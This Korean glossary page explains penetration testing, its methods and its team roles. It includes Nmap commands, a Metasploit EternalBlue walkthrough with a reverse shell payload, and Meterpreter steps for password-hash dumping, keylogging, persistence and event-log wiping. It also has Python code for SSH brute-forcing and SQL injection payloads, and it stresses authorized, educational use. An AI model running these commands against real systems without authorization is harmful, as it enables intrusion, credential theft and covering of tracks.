🔒 보안

Penetration Testing

침투 테스트 (펜테스트, Pentest)

시스템, 네트워크, 애플리케이션의 보안 취약점을 찾기 위해 실제 공격자의 관점에서 수행하는 합법적인 해킹 테스트입니다. "모의 해킹"이라고도 하며, 화이트박스(전체 정보 공개), 블랙박스(정보 없음), 그레이박스(일부 정보) 방식으로 진행됩니다.

📖 상세 설명

Penetration Testing(침투 테스트, 펜테스트)은 조직의 보안 상태를 평가하기 위해 실제 해커가 사용하는 기법과 도구로 시스템을 공격해보는 보안 평가 방법입니다. 단순한 취약점 스캐닝과 달리, 침투 테스터(펜테스터)는 발견된 취약점을 실제로 악용(exploit)하여 어디까지 침투할 수 있는지 확인합니다. 이를 통해 조직은 실제 공격 시나리오에서의 위험을 파악하고 대응할 수 있습니다.

침투 테스트는 테스터에게 제공되는 정보 수준에 따라 세 가지로 분류됩니다. 블랙박스(Black Box) 테스트는 외부 공격자처럼 시스템에 대한 정보 없이 진행합니다. 화이트박스(White Box) 테스트는 소스 코드, 아키텍처 문서, 자격 증명 등 모든 정보를 제공받아 깊이 있는 분석을 수행합니다. 그레이박스(Gray Box) 테스트는 일부 정보(예: 일반 사용자 계정)만 제공받아 내부자 위협 시나리오를 시뮬레이션합니다.

침투 테스트 프로세스는 일반적으로 5단계로 진행됩니다. 정찰(Reconnaissance) 단계에서 대상에 대한 정보를 수집하고, 스캐닝(Scanning)에서 취약점을 탐지합니다. 익스플로잇(Exploitation) 단계에서 취약점을 실제로 악용하고, 포스트 익스플로잇(Post-Exploitation)에서 권한 상승, 횡적 이동, 데이터 탈취 등을 시도합니다. 마지막으로 보고서(Reporting) 단계에서 발견 사항과 개선 권고안을 문서화합니다.

침투 테스트는 규정 준수(PCI-DSS, HIPAA, SOC 2 등)와 보안 성숙도 향상에 필수적입니다. Red Team 연습은 침투 테스트의 확장된 형태로, 더 긴 기간 동안 은밀하게 공격을 수행하여 조직의 탐지 및 대응 능력(Blue Team)을 평가합니다. Purple Team은 Red Team과 Blue Team이 협력하여 보안을 개선하는 접근법입니다. 클라우드, 컨테이너, API, IoT 등 새로운 기술 영역에 대한 침투 테스트 수요도 증가하고 있습니다.

💻 코드 예제

# Nmap - 네트워크 정찰 및 포트 스캐닝
# 침투 테스트의 첫 단계: 대상 시스템 정보 수집

# 1. 기본 포트 스캔 (상위 1000개 포트)
nmap 192.168.1.100

# 2. 전체 포트 스캔 + 서비스 버전 탐지
nmap -p- -sV 192.168.1.100
# -p-: 모든 65535 포트 스캔
# -sV: 서비스 버전 탐지

# 3. OS 탐지 + 스크립트 스캔 (공격적 스캔)
sudo nmap -A -T4 192.168.1.100
# -A: OS 탐지, 버전 탐지, 스크립트 스캔, traceroute
# -T4: 빠른 스캔 (0-5, 높을수록 빠름)

# 4. 취약점 스크립트 스캔
nmap --script vuln 192.168.1.100
# NSE 취약점 스크립트 실행

# 5. 특정 취약점 스캔 (예: SMB 취약점)
nmap --script smb-vuln-* -p 445 192.168.1.0/24
# MS17-010 (EternalBlue) 등 SMB 취약점 탐지

# 6. 웹 서버 열거
nmap --script http-enum -p 80,443 192.168.1.100
# 디렉토리, 파일, 웹 앱 탐지

# 7. 스텔스 스캔 (SYN 스캔)
sudo nmap -sS -Pn 192.168.1.100
# -sS: SYN 스캔 (연결 완료 안 함)
# -Pn: 핑 스킵 (방화벽 우회)

# 8. UDP 서비스 스캔
sudo nmap -sU --top-ports 100 192.168.1.100
# DNS(53), SNMP(161), DHCP(67) 등

# 9. 결과를 여러 형식으로 저장
nmap -A 192.168.1.100 -oA scan_results
# scan_results.nmap (일반), .xml, .gnmap (greppable)

# 10. 서브넷 전체 호스트 발견
nmap -sn 192.168.1.0/24
# 핑 스캔으로 활성 호스트 발견

# 실제 침투 테스트 시나리오 예제
# 1단계: 호스트 발견
nmap -sn 10.0.0.0/24 -oG - | grep "Up" | cut -d " " -f 2 > live_hosts.txt

# 2단계: 서비스 스캔
nmap -sV -iL live_hosts.txt -oA services

# 3단계: 취약점 스캔
nmap --script vuln -iL live_hosts.txt -oA vulns
# Metasploit Framework - 익스플로잇 프레임워크
# 취약점을 실제로 악용하여 침투 테스트 수행

# Metasploit 콘솔 시작
msfconsole

# 1. 취약점 검색
msf6 > search eternalblue
msf6 > search type:exploit name:apache
msf6 > search cve:2021-44228  # Log4Shell

# 2. 익스플로잇 모듈 선택 및 설정
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > show options
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.100
msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.1.50

# 3. 페이로드 선택
msf6 exploit(ms17_010_eternalblue) > show payloads
msf6 exploit(ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp

# 4. 익스플로잇 실행
msf6 exploit(ms17_010_eternalblue) > exploit
# 또는
msf6 exploit(ms17_010_eternalblue) > run

# 5. Meterpreter 세션에서의 포스트 익스플로잇
meterpreter > sysinfo                    # 시스템 정보
meterpreter > getuid                     # 현재 사용자
meterpreter > getsystem                  # 권한 상승 시도
meterpreter > hashdump                   # 비밀번호 해시 덤프
meterpreter > shell                      # 시스템 셸 획득
meterpreter > upload /local/file /remote # 파일 업로드
meterpreter > download /remote/file      # 파일 다운로드
meterpreter > screenshot                 # 스크린샷 캡처
meterpreter > keyscan_start              # 키로거 시작

# 6. 권한 상승 모듈
msf6 > use post/multi/recon/local_exploit_suggester
msf6 post(local_exploit_suggester) > set SESSION 1
msf6 post(local_exploit_suggester) > run

# 7. 횡적 이동 (Lateral Movement)
meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.1.0/24
meterpreter > portfwd add -l 3389 -p 3389 -r 192.168.1.101
# 내부 RDP 포트 포워딩

# 8. 지속성 유지 (Persistence)
meterpreter > run persistence -U -i 5 -p 4444 -r 192.168.1.50
# 재부팅 후에도 연결 유지

# 9. 흔적 삭제
meterpreter > clearev                    # 이벤트 로그 삭제
meterpreter > timestomp -m "01/01/2020 12:00:00" file.txt

# 웹 애플리케이션 테스트
msf6 > use auxiliary/scanner/http/dir_scanner
msf6 > use auxiliary/scanner/http/http_login
msf6 > use exploit/multi/http/apache_mod_cgi_bash_env_exec  # Shellshock
# Python 침투 테스트 자동화 스크립트

import socket
import subprocess
import requests
from concurrent.futures import ThreadPoolExecutor
import paramiko
import ftplib

# 1. 포트 스캐너
def scan_port(host, port):
    """단일 포트 스캔"""
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(1)
    result = sock.connect_ex((host, port))
    sock.close()
    return port if result == 0 else None

def scan_ports(host, ports=range(1, 1025)):
    """멀티스레드 포트 스캔"""
    open_ports = []
    with ThreadPoolExecutor(max_workers=100) as executor:
        results = executor.map(lambda p: scan_port(host, p), ports)
        open_ports = [p for p in results if p]
    return open_ports

# 사용 예
# open_ports = scan_ports("192.168.1.100")
# print(f"Open ports: {open_ports}")


# 2. SSH 브루트포스 (교육 목적, 허가된 테스트에서만 사용)
def ssh_bruteforce(host, username, password_list):
    """SSH 비밀번호 브루트포스"""
    for password in password_list:
        try:
            ssh = paramiko.SSHClient()
            ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            ssh.connect(host, username=username, password=password, timeout=3)
            print(f"[SUCCESS] {username}:{password}")
            ssh.close()
            return password
        except paramiko.AuthenticationException:
            print(f"[FAILED] {username}:{password}")
        except Exception as e:
            print(f"[ERROR] {e}")
            break
    return None


# 3. 웹 디렉토리 열거
def dir_bruteforce(base_url, wordlist):
    """웹 디렉토리 브루트포스"""
    found = []
    headers = {'User-Agent': 'Mozilla/5.0 (compatible; PenTest)'}

    for word in wordlist:
        url = f"{base_url}/{word}"
        try:
            response = requests.get(url, headers=headers, timeout=5)
            if response.status_code == 200:
                print(f"[FOUND] {url}")
                found.append(url)
            elif response.status_code == 403:
                print(f"[FORBIDDEN] {url}")
        except requests.RequestException:
            pass

    return found

# 사용 예
# wordlist = ['admin', 'login', 'dashboard', 'api', 'config']
# found_dirs = dir_bruteforce("https://example.com", wordlist)


# 4. SQL Injection 테스터
def test_sqli(url, param):
    """기본 SQL Injection 테스트"""
    payloads = [
        "' OR '1'='1",
        "' OR '1'='1' --",
        "' OR '1'='1' /*",
        "1' AND '1'='1",
        "1; DROP TABLE users--",
        "' UNION SELECT NULL,NULL,NULL--",
    ]

    vulnerable = []
    for payload in payloads:
        test_url = f"{url}?{param}={payload}"
        try:
            response = requests.get(test_url, timeout=5)
            # 에러 메시지나 비정상 응답 확인
            if any(err in response.text.lower() for err in
                   ['sql', 'syntax', 'mysql', 'postgresql', 'oracle']):
                print(f"[POSSIBLE SQLI] {payload}")
                vulnerable.append(payload)
        except:
            pass

    return vulnerable


# 5. 간단한 보고서 생성
def generate_report(host, open_ports, vulnerabilities):
    """침투 테스트 보고서 생성"""
    report = f"""
    ============================================
    PENETRATION TEST REPORT
    ============================================
    Target: {host}
    Date: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}

    OPEN PORTS:
    -----------
    {', '.join(map(str, open_ports))}

    VULNERABILITIES FOUND:
    ----------------------
    """

    for vuln in vulnerabilities:
        report += f"- {vuln['type']}: {vuln['description']}\n"
        report += f"  Severity: {vuln['severity']}\n"
        report += f"  Recommendation: {vuln['recommendation']}\n\n"

    return report


# 6. 자동화된 침투 테스트 워크플로우
def run_pentest(target):
    """자동화된 기본 침투 테스트"""
    print(f"[*] Starting pentest on {target}")

    # 1단계: 포트 스캔
    print("[*] Phase 1: Port Scanning")
    open_ports = scan_ports(target)
    print(f"[+] Open ports: {open_ports}")

    # 2단계: 서비스 식별 (Nmap 호출)
    print("[*] Phase 2: Service Enumeration")
    nmap_result = subprocess.run(
        ['nmap', '-sV', '-p', ','.join(map(str, open_ports)), target],
        capture_output=True, text=True
    )
    print(nmap_result.stdout)

    # 3단계: 웹 서비스 테스트 (80, 443 포트)
    if 80 in open_ports or 443 in open_ports:
        print("[*] Phase 3: Web Application Testing")
        protocol = "https" if 443 in open_ports else "http"
        base_url = f"{protocol}://{target}"
        # 디렉토리 열거, SQLi 테스트 등

    return open_ports

# 주의: 이 스크립트는 교육 목적이며,
# 반드시 서면 허가를 받은 대상에서만 사용해야 합니다.

🗣️ 실무에서 이렇게 말하세요

💬 보안 평가 계획 회의에서
"이번 분기에 외부 블랙박스 침투 테스트를 진행합니다. 인터넷에 노출된 모든 자산을 대상으로 공격자 관점에서 테스트하고, 내부 그레이박스 테스트로 일반 직원 계정이 탈취됐을 때의 위험도 평가합니다. 크리티컬 시스템은 별도로 화이트박스 테스트를 진행해서 소스 코드 레벨까지 확인할 예정입니다."
💬 침투 테스트 결과 보고에서
"테스트 결과 총 23개 취약점을 발견했습니다. 크리티컬 2개, 하이 5개입니다. 가장 심각한 건 VPN 서버의 CVE-2021-22986으로, 실제로 익스플로잇하여 내부 네트워크 접근에 성공했습니다. 이후 횡적 이동으로 도메인 컨트롤러 관리자 권한까지 획득했습니다. 즉시 패치와 네트워크 세그먼테이션 강화가 필요합니다."
💬 Red Team 연습 디브리핑에서
"이번 Red Team 연습에서 초기 접근까지 72시간이 걸렸습니다. 피싱 이메일로 직원 한 명의 자격 증명을 획득했고, 이후 2주에 걸쳐 탐지되지 않고 민감 데이터 접근에 성공했습니다. Blue Team은 C2 통신을 탐지하지 못했는데, DNS 터널링을 사용했기 때문입니다. Purple Team 세션에서 탐지 규칙 개선 방안을 논의합시다."

⚠️ 주의사항 & 베스트 프랙티스

허가 없는 테스트 수행

반드시 서면 허가(Rules of Engagement, RoE)를 받은 후 테스트해야 합니다. 허가 없는 침투 테스트는 불법이며, 컴퓨터 범죄로 처벌받을 수 있습니다. 테스트 범위, 시간, 금지 행위를 명확히 문서화하세요.

프로덕션 환경에서 위험한 익스플로잇 실행

DoS 공격, 데이터 삭제, 시스템 크래시를 유발할 수 있는 익스플로잇은 신중하게 사용해야 합니다. 가능하면 테스트 환경에서 먼저 검증하고, 프로덕션에서는 비파괴적인 PoC(Proof of Concept)만 사용하세요.

취약점 스캐닝과 침투 테스트 혼동

Nessus, Qualys 같은 취약점 스캐너 결과를 침투 테스트 결과로 제시하면 안 됩니다. 스캐닝은 잠재적 취약점을 탐지하고, 침투 테스트는 실제로 악용 가능한지 검증합니다. 둘 다 필요하지만 목적이 다릅니다.

침투 테스트 베스트 프랙티스

PTES(Penetration Testing Execution Standard)나 OWASP Testing Guide를 따라 체계적으로 테스트하세요. 모든 행위를 상세히 기록하고, 발견 즉시 크리티컬 취약점은 보고합니다. 테스트 후 모든 백도어, 계정, 파일을 제거하고 원상 복구하세요. 정기적인 침투 테스트(최소 연 1회)와 주요 변경 후 테스트를 권장합니다.

🔗 관련 용어

📚 더 배우기